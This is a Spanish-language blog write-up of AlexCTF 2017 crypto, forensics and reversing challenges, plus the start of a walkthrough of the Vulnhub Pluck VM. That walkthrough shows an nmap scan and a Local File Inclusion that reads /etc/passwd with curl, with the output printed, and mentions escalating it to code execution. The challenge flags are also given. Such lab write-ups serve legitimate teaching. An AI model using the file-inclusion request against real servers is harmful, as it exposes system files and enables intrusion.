Buenas a todos primero de todo decir que no soy un experto jugador de los CTF, publicaré dos entradas de este estilo principalmente usando máquinas de Vulnhub y posteriormente continuare con entradas sobre Reversing.
alexCTF 2017
Voy a documentar los retos, que he podido conseguir obtener la flag y así poder hacer patente y registrado en el blog su correspondiente resoluciones para quien pueda aprender y practicar.
[!] 01 – Crypto
CR1:Ultracoded.
Fady didn’t understand well the difference between encryption and encoding, so instead of encrypting some secret message to pass to his friend, he encoded it!
Hint: Fady’s encoding doens’t handly any special character
root@kali:~/Escritorio/alexctf2017# cat zero_txt ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ZERO ZERO ONE ONE ZERO ZERO ONE ONE ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ONE ZERO ONE ZERO ZERO ZERO ZERO ZERO ONE ZERO ONE ONE ONE ZERO ONE ZERO ONE ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ZERO ONE ZERO ZERO ZERO ZERO ONE ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ZERO ZERO ONE ONE ZERO ZERO ONE ONE ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ONE ZERO ONE ZERO ZERO ZERO ZERO ZERO ONE ZERO ONE ONE ONE ZERO ONE ZERO ZERO ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ZERO ONE ZERO ZERO ZERO ZERO ONE ONE ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ZERO ONE ONE ZERO ZERO ONE ONE ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ZERO ZERO ZERO ONE ZERO ONE ONE ONE ZERO ONE ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ONE ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ZERO ONE ZERO ZERO ZERO ZERO ONE ONE ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ZERO ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ZERO ONE ZERO ZERO ZERO ZERO ONE ONE ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ONE ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ZERO ONE ZERO ZERO ZERO ZERO ONE ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ZERO ZERO ZERO ONE ZERO ONE ONE ONE ZERO ONE ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ZERO ZERO ZERO ONE ZERO ONE ONE ONE ZERO ONE ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ZERO ONE ONE ZERO ZERO ONE ONE ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ZERO ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ZERO ONE ZERO ZERO ZERO ZERO ONE ONE ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ONE ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ZERO ONE ZERO ZERO ZERO ZERO ONE ONE ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ZERO ZERO ZERO ONE ZERO ONE ONE ONE ZERO ONE ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ONE ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ZERO ONE ZERO ZERO ZERO ZERO ONE ONE ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ZERO ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ZERO ONE ZERO ZERO ZERO ZERO ONE ONE ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ONE ZERO ONE ZERO ZERO ZERO ZERO ZERO ONE ZERO ONE ONE ONE ZERO ONE ZERO ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ZERO ZERO ONE ONE ZERO ZERO ONE ONE ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ZERO ONE ONE ZERO ZERO ONE ONE ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ONE ZERO ONE ZERO ZERO ZERO ZERO ZERO ONE ZERO ONE ONE ONE ZERO ONE ZERO ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ONE ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ZERO ONE ZERO ZERO ZERO ZERO ONE ONE ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ONE ZERO ONE ZERO ZERO ZERO ZERO ZERO ONE ZERO ONE ONE ONE ZERO ONE ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ZERO ZERO ZERO ONE ZERO ONE ONE ONE ZERO ONE ZERO ZERO ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ZERO ONE ZERO ZERO ZERO ZERO ONE ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ZERO ZERO ZERO ONE ZERO ONE ONE ONE ZERO ONE ZERO ZERO ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ZERO ONE ZERO ZERO ZERO ZERO ONE ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ZERO ZERO ONE ONE ZERO ZERO ONE ONE ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ZERO ONE ZERO ZERO ZERO ONE ZERO ZERO ONE ONE ONE ONE ZERO ONE ZERO ZERO ONE ONE ONE ONE ZERO ONE
Convertimos ZERO por «0» y ONE por «1». A la misma vez decodificamos el binario a base64 y por último decodificamos ese base64:
#!/usr/bin/env python import binascii import base64 with open('zero_txt', 'r') as file: text = file.read() text = text.replace("ZERO","0") text = text.replace("ONE","1") text = text.replace(" ","") text = text.strip() print("Binary : "+ text) basee64 = ''.join(chr(int(text[i:i+8], 2)) for i in range(0, len(text), 8)) print("Base 64 : "+ basee64) print("Morse : " + base64.b64decode(basee64).decode('utf-8'))
Y obtenemos esta salida:
root@kali:~/Escritorio/alexctf2017# python crypto1.py Binary : 0100110001101001001100000110011101001100011010010011000001110101010011000110100101000001011101010100100101000011001100000111010101001100011010010011000001100111010011000101001100110100011101000100110001101001010000010111010001001001010000110011010001110101010011000101001100110100011001110100110001010011010000010111010101001100011010010011010001110101010010010100001100110100011101000100110001010011001100000111010001001001010000110011010001110101010011000110100100110100011101010100100101000011001100000111010001001100010100110100000101110101010011000101001100110000011101000100110001010011010000010111010101001100011010010011010001100111010011000101001100110000011101000100100101000011001101000111010101001100011010010011010001110101010010010100001100110100011101010100110001010011010000010111010101001100010100110011000001110101010010010100001100110100011101010100110001101001001100000111010001001001010000110011010001110100010011000110100101000001011101000100110001010011001100000110011101001100011010010011010001110101010011000110100100110100011001110100110001101001010000010111010001001100011010010011000001110101010010010100001100110100011101000100110001101001010000010111010101001100011010010011010001110100010011000101001101000001011101000100100101000011001100000111010001001100010100110100000101110100010010010100001100110000011101010100110001101001001100000110011101001100010100010011110100111101 Base 64 : Li0gLi0uLiAuIC0uLi0gLS4tLiAtIC4uLS4gLSAuLi4uIC4tLS0tIC4uLi4uIC0tLSAuLS0tLSAuLi4gLS0tIC4uLi4uIC4uLSAuLS0uIC4uLi0tIC4tLiAtLS0gLi4uLi4gLiAtLi0uIC4tLiAuLi4tLSAtIC0tLSAtIC0uLi0gLQ== Morse : .- .-.. . -..- -.-. - ..-. - .... .---- ..... --- .---- ... --- ..... ..- .--. ...-- .-. --- ..... . -.-. .-. ...-- - --- - -..- -
Un código morse, lo decodificamos visitando esta web y ya tendríamos la flag, https://morsecode.scphillips.com/translator.html
CR2:Many Times Secrets.
This time Fady learned from his old mistake and decided to use onetime pad as his encryption technique, but he never knew why people call it one time pad!
Tenemos de fichero msg
root@kali:~/Escritorio/alexctf2017# cat msg 0529242a631234122d2b36697f13272c207f2021283a6b0c7908 2f28202a302029142c653f3c7f2a2636273e3f2d653e25217908 322921780c3a235b3c2c3f207f372e21733a3a2b37263b313012 2f6c363b2b312b1e64651b6537222e37377f2020242b6b2c2d5d 283f652c2b31661426292b653a292c372a2f20212a316b283c09 29232178373c270f682c216532263b2d3632353c2c3c2a293504 613c37373531285b3c2a72273a67212a277f373a243c20203d5d 243a202a633d205b3c2d3765342236653a2c7423202f3f652a18 2239373d6f740a1e3c651f207f2c212a247f3d2e65262430791c 263e203d63232f0f20653f207f332065262c3168313722367918 2f2f372133202f142665212637222220733e383f2426386b
Este reto según la descripción tenemos un cifrado OTP(one time pad). El cifrado OTP se consigue haciendo xor del mensaje con una clave, y cada linea se ha cifrado con la misma one time pad. Para poder romper este cifrado buscamos técnicas comunes como Crib Dragging. Aquí teneis más información: http://samwho.co.uk/blog/2015/07/18/toying-with-cryptography-crib-dragging/
Usaremos un script para realizar este ataque. https://github.com/SpiderLabs/cribdrag
Cribdrag es un script para realizar ataques de Crib Dragging contra texto cifrado usando una operación XOR con una clave predecible. Lo ejecutamos juntando la cadena de strings del mensaje y se lo pasamos como argumento al script. Elegimos en el crib el formato de comienzo que tiene la flag «ALEXCTF{«
root@kali:~/Escritorio/alexctf2017/cribdrag# python cribdrag.py 0529242a631234122d2b36697f13272c207f2021283a6b0c79082f28202a302029142c653f3c7f2a2636273e3f2d653e25217908322921780c3a235b3c2c3f207f372e21733a3a2b37263b3130122f6c363b2b312b1e64651b6537222e37377f2020242b6b2c2d5d283f652c2b31661426292b653a292c372a2f20212a316b283c0929232178373c270f682c216532263b2d3632353c2c3c2a293504613c37373531285b3c2a72273a67212a277f373a243c20203d5d243a202a633d205b3c2d3765342236653a2c7423202f3f652a182239373d6f740a1e3c651f207f2c212a247f3d2e65262430791c263e203d63232f0f20653f207f332065262c31683137223679182f2f372133202f142665212637222220733e383f2426386b Your message is currently: 0 ____________________________________ 40 ____________________________________ 80 ____________________________________ 120 ____________________________________ 160 ____________________________________ 200 ____________________________________ 240 ____________________________________ 280 ____ Your key is currently: 0 ____________________________________ 40 ____________________________________ 80 ____________________________________ 120 ____________________________________ 160 ____________________________________ 200 ____________________________________ 240 ____________________________________ 280 ____ Please enter your crib: ALEXCTF{ *** 0: "Dear Fri" 1: "hho;Q`TV" 2: "ef&JwFkP" 3: "k/WlQymM" 4: ""^qJnp " 5: "SxWuhb/ " 6: "u^hsu=9h" 7: "Sann*+U\" 8: "lgs1<GaW" 9: "jz,'Psj[" 10: "w%:Kdxf " 11: "(3Vot9[" 12: ">_btc+fZ" 13: "Rkix<tgS" 14: "f`e'cunA" 15: "ml:xb|| "
Como vemos son la mayoria cadenas de carácteres sin sentido excepto la primera (0), que parece ser el comienzo de un mensaje «Dear Friend».
Enter the correct position, 'none' for no match, or 'end' to quit: 0 Is this crib part of the message or key? Please enter 'message' or 'key': message Your message is currently: 0 ALEXCTF{________________________________ 40 ____________________________________ 80 ____________________________________ 120 ____________________________________ 160 ____________________________________ 200 ____________________________________ 240 ____________________________________ 280 ____ Your key is currently: 0 Dear Fri________________________________ 40 ____________________________________ 80 ____________________________________ 120 ____________________________________ 160 ____________________________________ 200 ____________________________________ 240 ____________________________________ 280 ____ Please enter your crib:
Escribimos en crib «Dear Friend,» y obtenemos la primera parte de la flag.
Please enter your crib: Dear Friend, 0: "ALEXCTF{HERE" S" "mAK 2r`DNX 2: "`O ` T_BS ?"
Como estaba en la parte de Key, elegimos esto en vez de Message y la posición (0).
Enter the correct position, 'none' for no match, or 'end' to quit: 0 Is this crib part of the message or key? Please enter 'message' or 'key': key Your message is currently: 0 ALEXCTF{HERE____________________________ 40 ____________________________________ 80 ____________________________________ 120 ____________________________________ 160 ____________________________________ 200 ____________________________________ 240 ____________________________________ 280 ____ Your key is currently: 0 Dear Friend,____________________________ 40 ____________________________________ 80 ____________________________________ 120 ____________________________________ 160 ____________________________________ 200 ____________________________________ 240 ____________________________________ 280 ____
Realizamos la misma operación, y obtenemos algo legible en la posición(26) «understood my»:
Please enter your crib: ALEXCTF{HERE *** 0: "Dear Friend," 1: "hho;Q`TVcs;:" 2: "ef&JwFkP~,-V" 3: "k/WlQymM!:Ab" 4: ""^qJnp 7Vui" 5: "SxWuhb/ [b~e" 6: "u^hsu=9hoir:" 7: "Sann*+U\de-e" 8: "lgs1<GaWh:rd" 9: "jz,'Psj[7esm" 10: "w%:Kdxf hdz" 11: "(3Vot9[imh." 12: ">_btc+fZ`9I" 13: "Rkix<tgSr.^<" 14: "f`e'cunA#I+M" 15: "ml:xb|| D<Zj" 16: "a3eykn-w1M}m" 17: ">ldpy?J @jze" 18: "ammb(X?sgmro" 19: "`d3O-NT`exu" 20: "iv.T:\iShobe" 21: "{'I!K{n[burl" 22: "*@<Pl|fQxe{Q" *** 23: "M5MwktlKhlFi" 24: "8Djpc~v[aQ~ " 25: "IcmxidfR\i7z" *** 26: "nderstood my" 27: "ilohc}RW-zn:" 28: "afuxj@j wy-o" 29: "k|eqWx#Dt:xc"
No conseguimos gran información salvo que la flag se va repitiendo constantemente. Por tanto ejecutando de nuevo.
Enter the correct position, 'none' for no match, or 'end' to quit: 26 Is this crib part of the message or key? Please enter 'message' or 'key': message Your message is currently: 0 ALEXCTF{HERE______________ALEXCTF{HERE__ 40 ____________________________________ 80 ____________________________________ 120 ____________________________________ 160 ____________________________________ 200 ____________________________________ 240 ____________________________________ 280 ____ Your key is currently: 0 Dear Friend,______________nderstood my__ 40 ____________________________________ 80 ____________________________________ 120 ____________________________________ 160 ____________________________________ 200 ____________________________________ 240 ____________________________________ 280 ____
Ahora con la key «understood my», vemos que se cumple lo dicho.
Please enter your crib: understood my 25: "}ALEXCTF{HERE" Enter the correct position, 'none' for no match, or 'end' to quit: 25 Is this crib part of the message or key? Please enter 'message' or 'key': key Your message is currently: 0 ALEXCTF{HERE_____________}ALEXCTF{HERE__ 40 ____________________________________ 80 ____________________________________ 120 ____________________________________ 160 ____________________________________ 200 ____________________________________ 240 ____________________________________ 280 ____ Your key is currently: 0 Dear Friend,_____________understood my__ 40 ____________________________________ 80 ____________________________________ 120 ____________________________________
Repetimos el proceso porque no hemos podido sacar apenas nada de información, simplemente acotar la flag y ver que se repite en el mensaje constantemente. Vimos en la posición (234),(260) pero obtuvimos la misma información en cuanto a flag.
Your message is currently: 0 ALEXCTF{HERE_____________}ALEXCTF{HERE__ 40 ____________________________________ 80 ______________________ALEXCTF{HERE__ 120 ____________________________________ 160 ____________________________________ 200 ________ALEXCTF{HERE_____________}ALEXCT 240 F{HERE_____________}ALEXCTF{H___________ 280 ____ Your key is currently: 0 Dear Friend,_____________understood my__ 40 ____________________________________ 80 ______________________is the only __ 120 ____________________________________ 160 ____________________________________ 200 ________cure, Let Me_____________agree w 240 ith me_____________encryption___________ 280 ____
Despúes de pensar en la posición (208), que corresponde a «cure, Let Me», pense que quizás siendo un mensaje tipo carta lo más probable es que sea «cure,Let Me know» para decir «házmelo saber» como frase de despedida. Y en realidad estabamos en lo cierto porque obtuvimos la segunda parte de la flag.
208: "ALEXCTF{HERE_GOES"
Viendo la información que me proporciona la posición (104) «is the only encryption», (182) «ever if the key is», (206) «ncryption scheme a» y (78) «n scheme, I heard». Quizás tengamos algo así. «ever if the key is the only encryption scheme, I heard» ,pero probando toda la frase no obtenemos nada. Así que procedo a usar menor información después de ir testeando, «encryption scheme, I heard». Con esto obtenemos el resto de la flag.
Please enter your crib: encryption scheme, I heard 69: "_THE_KEY}ALEXCTF{HERE_GOES" Enter the correct position, 'none' for no match, or 'end' to quit: 69 Is this crib part of the message or key? Please enter 'message' or 'key': key Your message is currently: 0 ALEXCTF{HERE_____________}ALEXCTF{HERE__ 40 ______________________________THE_KEY}AL 80 EXCTF{HERE_GOES_________ALEXCTF{HERE____ 120 ____________________________________ 160 ______________________ALEXCTF{HERE_GOES_ 200 ________ALEXCTF{HERE_GOES________}ALEXCT 240 F{HERE_____________}ALEXCTF{H___________ 280 ____ Your key is currently: 0 Dear Friend,_____________understood my__ 40 _____________________________encryption 80 scheme, I heard_________is the only ____ 120 ____________________________________ 160 ______________________ever if the key is 200 ________cure, Let Me know________agree w 240 ith me_____________encryption___________ 280 ____
Flag: ALEXCTF{HERE_GOES_THE_KEY}
[!] 02-Forensics
fore1-hit-the-core-50
Enlace de descarga del fichero: https://mega.nz/#!lmZ2VAQI!QgEMY84uzGRAVJGWUfEqlv1sCPTjr_9yJHnmrZhUv0Q
Con Strings y filtrando por grep «{«, observamos algo que podría ser la flag debido a que empieza y termina por «{}», justo el formato que piden habitualmente en este tipo de reto, sería mucha coincidencia que estuviese así por casualidad o quizás que sea una flag tr0ll, pero siendo el reto con menor puntuación intuyo que debe ser fácil.
root@kali:~/Escritorio/alexctf2017# strings fore1.core | grep { cvqAeqacLtqazEigwiXobxrCrtuiTzahfFreqc{bnjrKwgk83kgd43j85ePgb_e_rwqr7fvbmHjklo3tews_hmkogooyf0vbnk0ii87Drfgh_n kiwutfb0ghk9ro987k5tfb_hjiouo087ptfcv} h{9e X{9e 8{9e 0{9e X{9e
En efecto, la primera letra mayúscula corresponde a «A» y luego la «L». Sabiendo que el ctf se llama alexctf, y que el formato de las flags es ALEXCTF{}, antes del corchete justo tenemos esa coincidencia»AeqacLtqazEigwiXobxrCrtuiTzahfFreqc». También cumple el mismo patrón de que cada 5 carácteres o posición, corresponde al carácter especifico para saber la flag. Y por último deduciendo que el primer carácter sea «K» y a partir de aquí 5 posiciones, obtenemos algo con sentido: ALEXCTF{K33P_7H3_g00D_w0rk_up}
fore3-usb-probing-150
One of our agents managed to sniff important piece of data transferred transmitted via USB, he told us that this pcap file contains all what we need to recover the data can you find it ?
Enlace de descarga del fichero: https://mega.nz/#!QrJHnIxB!Yt4oUaJBFKVjlHwQ5YU2RqJ_2ZZXZ-KszE5-mhZCNXc
Vemos que es un pcap, y según la descripción del reto se ha transferido datos vía USB, por tanto hay que intentar localizarlo. El pcap es pequeño asi que a primera vista, en un vistazo rápido vemos la cabecera de un PNG eso quiere decir que quizás sea una imagen el fichero que se ha transferido.
Lo vemos con la herramienta xxd.
root@kali:~/Escritorio/alexctf2017# xxd fore2.pcap | grep PNG 0000f350: 0000 0000 0000 0000 0000 0089 504e 470d ............PNG.
Y ahora desde Wireshark, File->Export Packet Bytes. Con el fichero .raw que corresponde el volcado de los Bytes del PNG, le cambiamos la extensión.
root@kali:~/Escritorio/alexctf2017# cat fore22.raw > fore2.png
[!] 03 – Reversing
re1-gifted-50
Enlace de descarga del fichero: https://mega.nz/#!pn5iUBzR!iEIFKrX7-1zJZwu6IqELt5eLcXwR1zGJ0qVudJYteTc
Usando IDA PRO, en el segmento de datos localizamos la flag.
odata:08048644 aEnterTheFlag db 'Enter the flag: ',0 ; DATA XREF: .text:0804853Fo .rodata:08048655 aS db '%s',0 ; DATA XREF: .text:08048565o .rodata:08048658 aAlexctfY0u_h4v db 'AlexCTF{Y0u_h4v3_45t0n15h1ng_futur3_1n_r3v3r5ing}',0 .rodata:08048658 ; DATA XREF: .text:08048578o .rodata:0804868A aYouGotItRightD db 'You got it right dude!',0 ; DATA XREF: .text:0804858Co .rodata:080486A1 aTryHarder db 'Try harder!',0 ; DATA XREF: .text:080485A6o
Pluck VM
Ahora vamos con Vulnhub, siempre me han gustado estas máquinas. Tengo resueltas algunas por el blog, echale un vistazo si quieres :). Esta máquina la puedes descargar de aquí: https://www.vulnhub.com/entry/pluck-1,178/.
[!] 01 – Enumeración
Usamos la tool Nmap para realizar un escaneo de puertos y enumeración. Podemos apreciar un servidor Apache en el puerto 80, MySQL en el puerto 3306, un servicio desconocido en el puerto 5355 y el puerto 22 del servicio SSH. Con la opción -A permite la deteción de OS, la versión, script scanning, y traceroute. Con -T4 indica el tiempo de envió de los paquetes, es decir desde 0-6, la más baja es la más lenta, y también mejor ya que podría evadir algunos firewall. Y por último con -p el rango de puertos.
root@kali:~# nmap -A -T4 -p0-65535 192.168.1.67 Starting Nmap 7.60 ( https://nmap.org ) at 2017-08-20 10:56 CEST Nmap scan report for pluck.home (192.168.1.67) Host is up (0.00048s latency). Not shown: 65532 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.3p1 Ubuntu 1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 e8:87:ba:3e:d7:43:23:bf:4a:6b:9d:ae:63:14:ea:71 (RSA) | 256 8f:8c:ac:8d:e8:cc:f9:0e:89:f7:5d:a0:6c:28:56:fd (ECDSA) |_ 256 18:98:5a:5a:5c:59:e1:25:70:1c:37:1a:f2:c7:26:fe (EdDSA) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Pluck 3306/tcp open mysql MySQL (unauthorized) 5355/tcp open llmnr? MAC Address: 08:00:27:45:29:54 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.48 ms pluck.home (192.168.1.67) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 1732.12 seconds
[!] 02 – Explotando LFI en la aplicación web
Echamos un vistazo a la página web empezando por su código fuente y vemos que puede existir un sencillo LFI en el href de la etiqueta <a>. Un Local File Inclusion es similar a una vulnerabilidad de inclusión remota de archivos, pero en lugar de incluir archivos remotos, sólo se pueden incluir archivos locales, es decir, los archivos del servidor actual para su ejecución. Este problema todavía puede llevar a la ejecución de código remoto mediante la inclusión de un archivo que contiene datos controlados por el atacante como los registros de acceso del servidor web.
<li><a href="/">Home</a></li> <li><a href="index.php?page=about.php">About</a></li> <li><a href="index.php?page=contact.php">Contact Us</a></li> <li><a href="admin.php">Admin</a></li>
Podemos ver el fichero /etc/passwd gracias al LFI cuyo contenido es la mayoría información de cuentas de usuario. Para ello podemos usar curl para realizar una petición http a la web y que nos muestre en modo Verbose el output. Con esta herramienta por defecto instalada en Linux podemos realizar peticiones http como si un navegador web se tratase.
root@kali:~# curl -v 192.168.1.67/index.php?page=/etc/passwd * Trying 192.168.1.67... * TCP_NODELAY set * Connected to 192.168.1.67 (192.168.1.67) port 80 (#0) > GET /index.php?page=/etc/passwd HTTP/1.1 > Host: 192.168.1.67 > User-Agent: curl/7.55.0 > Accept: */* > < HTTP/1.1 200 OK < Date: Sun, 20 Aug 2017 11:52:52 GMT < Server: Apache/2.4.18 (Ubuntu) < Vary: Accept-Encoding < Content-Length: 3761 < Content-Type: text/html; charset=UTF-8 < <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Pluck</title> <link rel="stylesheet" href="/css/bootstrap.min.css"> <link rel="stylesheet" href="/css/bootstrap-theme.min.css"> <script src="/js/jquery.min.js"></script> <script src="/js/bootstrap.min.js"></script> </head> <body> <nav id="myNavbar" class="navbar navbar-default navbar-inverse navbar-fixed-top" role="navigation"> <!-- Brand and toggle get grouped for better mobile display --> <div class="container"> <div class="navbar-header"> <button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#navbarCollapse"> <span class="sr-only">Toggle navigation</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <a class="navbar-brand" href="/">Pluck</a> </div> <!-- Collect the nav links, forms, and other content for toggling --> <div class="collapse navbar-collapse" id="navbarCollapse"> <ul class="nav navbar-nav"> <li><a href="/">Home</a></li> <li><a href="index.php?page=about.php">About</a></li> <li><a href="index.php?page=contact.php">Contact Us</a></li> <li><a href="admin.php">Admin</a></li> </ul> </div> </div> </nav> <div class="container"> <br><br><br><br> <div class=jumbotron>root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin 